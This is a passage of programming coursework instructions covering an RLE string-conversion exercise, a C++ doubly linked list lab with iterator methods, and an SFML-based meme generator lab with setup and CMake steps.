4]) yields string “10f:64”.8. string_to_rle(rleString: str) -> bytes Translates a string in human-readable RLE format (with delimiters) into RLE byte data. (Inverse of #7)Ex: string_to_rle(“10f:64”) yields b’x0ax0fx06x04′ (i.e., [10, 15, 6, 4]).Submissions NOTE: Your output must match the example output *exactly*. If it does not, you will not receive full credit for your submission!File: rle_program.py Method: Submit on ZyLabsDo not submit any other files!
Lab 09: Linked List Overview This linked list project is intended to provide students with an understanding of how sequential list data structures function. This project involves the implementation of a templated, doubly linked list with methods that allow for its use as a queue or stack container.A doubly linked list is a type of linked list which is linked in both directions, pointing to the next and previous nodes in the list. It usually terminates, at both ends, in pointers to nullptr. Depending on how one adds to or remove items from either end, the linked list can behave either as a stack or as a queue.A linked list is made up of nodes. Each node in the list contains some data (in this case, a location represented by a pair of coordinates) and a pointer to the next and previous nodes in the list. The first node in the list is called the front, and the last node is called the back.Specification Students have been provided with a test driver program (main.cpp), build file (CMakeLists.txt), and built-in memory leak detection (nvwa). Full credit requires implementation with no errors or warnings.Classes Students will write a linked list class and a nested iterator class for the linked list as follows.LinkedList::Iteratorpublic T operator*() const Return the element at the iterator’s current position in the queue.Iterator& operator++() Pre-increment overload; advance the iterator one position in the list. Return this iterator. NOTE: if the iterator has reached the end of the list (past the last element), its data should be equal to LinkedList::end().Iterator& operator–() Pre-decrement overload; recedes one element. Return this iterator. NOTE: if the iterator has reached the end of the list (before the first element), its data should be equal to LinkedList::end().bool operator==(Iterator const& rhs) Return true it both iterators point to the same node in the list, and false otherwise.bool operator!=(Iterator const& rhs) Return false it both iterators point to the same node in the list, and true otherwise. LinkedListpublic LinkedList() Construct a new LinkedList.Iterator begin() const Return an Iterator pointing to the beginning of the list.Iterator tail() const Return an Iterator pointing to the last node of the list.Iterator end() const Return an Iterator pointing past the end of the list (an invalid, unique state, data likely pointing to nullptr.)bool isEmpty() const Return true if there are no elements, false otherwise.T getFront() const Return the first element in the list.T getBack() const Return the last element in the list.bool contains(T element) const Return true if list contains a node whose data equals the specified element and false otherwise.void enqueue(T element) Adds the specified element to the back of the list.void dequeue() Remove the first element from the list.void pop() Remove the last element from the list.void clear() Removes all elements from the list.void remove(T element) Remove the first node found whose data equals the specified element. Note: be sure to update the pointers appropriately; test your code for the following scenarios: Remove the first node from the list Remove a node from the middle of the list Remove the last node from the list Remove the only node from the listSubmissions NOTE: Your output must match the example output *exactly*. If it does not, you will not receive full credit for your submission!Files: LinkedList.h Method: Submit on ZyLabs
Lab 10: Meme GeneratorOverview In this lab, students will use an external library to create a meme generator library and executable. The purposes of this assignment is to give students practice with setting up, importing, using, and writing libraries in C++.SFML Setup In this assignment, students will import and use SFML (Simple and Fast Multimedia Library). This section describes how to install SFML and integrate it into a project. Installation 1. Download GCC 7.3.0 MinGW (SEH) – 64-bit; decompress into reasonable path (e.g., C:Libraries). 2. Add path (e.g., C:LibrariesSFML-2.5.1) as variable SFML_INSTALL to system variables. 3. Add binary path (e.g., C:LibrariesSFML-2.5.1bin) to PATH system variable.Integration Under the compiler settings, add the following lines to your CMakeLists.txt to integrate SFML into the project: set(SFML_DIR “C:/Libraries/SFML-2.5.1/lib/cmake/SFML”) find_package(SFML 2.5 COMPONENTS graphics audio REQUIRED)You can add the library to your memer library target by specifying link instructions: add_library(memer memer.cpp) target_link_libraries(memer sfml-graphics sfml-audio)Likewise, you can link your memer library to your memeify executable: add_executable (memeify memeify.cpp) target_link_libraries(memeify memer sfml-graphics sfml-audio)Use To use SFML, you simply include the appropriate header in your code and use SFML constructs in your project: #include The Cave-Story.ttf open-source font file has also been provided for this project.Classes There are a few important classes that you will want to read about in the SFML documentation.sf::Image This object is an image in system memory (RAM), stored as a series of pixels.sf::Texture This object represents a read-only version of image data pre-formatted and stored in video memory (VRAM).sf::Font A font for use in SFML routines. Typically loaded from a file.sf::String The SFML native String format. sf::Sprite A drawable class; it references a section of a texture that is used for display / drawing.sf::Text A drawable text element; incorporates a Font and a String. Positioning can be set as needed.sf::RenderTexture A read-write texture; data is stored in video memory. This object can be drawn on.Specification In this assignment, students will generate two artifacts, a memer library and a memeify executable.Library The library will be named memer. It should incorporate the function below and include memer.h: sf::Image generateMeme(sf::Image base, sf::String topText, sf::String bottomText = “”, int topX = -1, int topY = -1, int bottomX = -1, int bottomY = -1)Takes in an base to be used as the base image. Returns a new sf::Image with topText drawn over it at location (topX, topY) in the provided font. If no coordinates are provided, topText should be centered horizontally and be 1/3 from the top of the image. If it is provided, bottomText is drawn at location (bottomX, bottomY). If provided, the tbottomText should be placed 1/3 from the bottom of the image.In general, adding text to an image will consist of the following steps: 1. Converting the Image into a Texture 2. Wrapping the Texture in a Sprite 3. Drawing the Sprite on a fresh & empty RenderTexture 4. Loading a Font, and using it to construct a Text element 5. Drawing the Text on the RenderTexture 6. Extracting an Image from a Texture, derived from the RenderTexture.NOTE: graphics are traditionally done differently in 2D and 3D, resulting in the Image from a Texture being upside down; make sure to flip it horizontally before returning it!Executable Executable should function with just file & top text: … but should also accept a partial / full complement:finn@BMO:~$ ./memeify doge.jpg “Such memes”finn@BMO:~$ ./memeify doge.jpg “Such memes” > “wow” 360 90 120 360The executable should 1) display the image in a window until the window is closed, and 2) save the image with a new name based on the old one in the form of STEM-meme.EXT; e.g., if the original image was “doge.jpg”, the new image saved should be “doge-meme.jpg”.Submissions NOTE: Your output must match the example output *exactly*. If it does not, you will not receive full credit for your submission! (Note that matching sample output is necessary, but not sufficient, for full credit.)Files: memeify.zip Method: Submit on CanvasCompressed Archive (memeify.zip) We do not list required source files, only headers. You should include additional source or header files in addition to those listed – based on your design – but you must have the listed files at a minimum.Your compressed file should have the following directory/file structure:memeify.zip memeify (directory) CMakeLists.txt memer.h (Other sources / folders)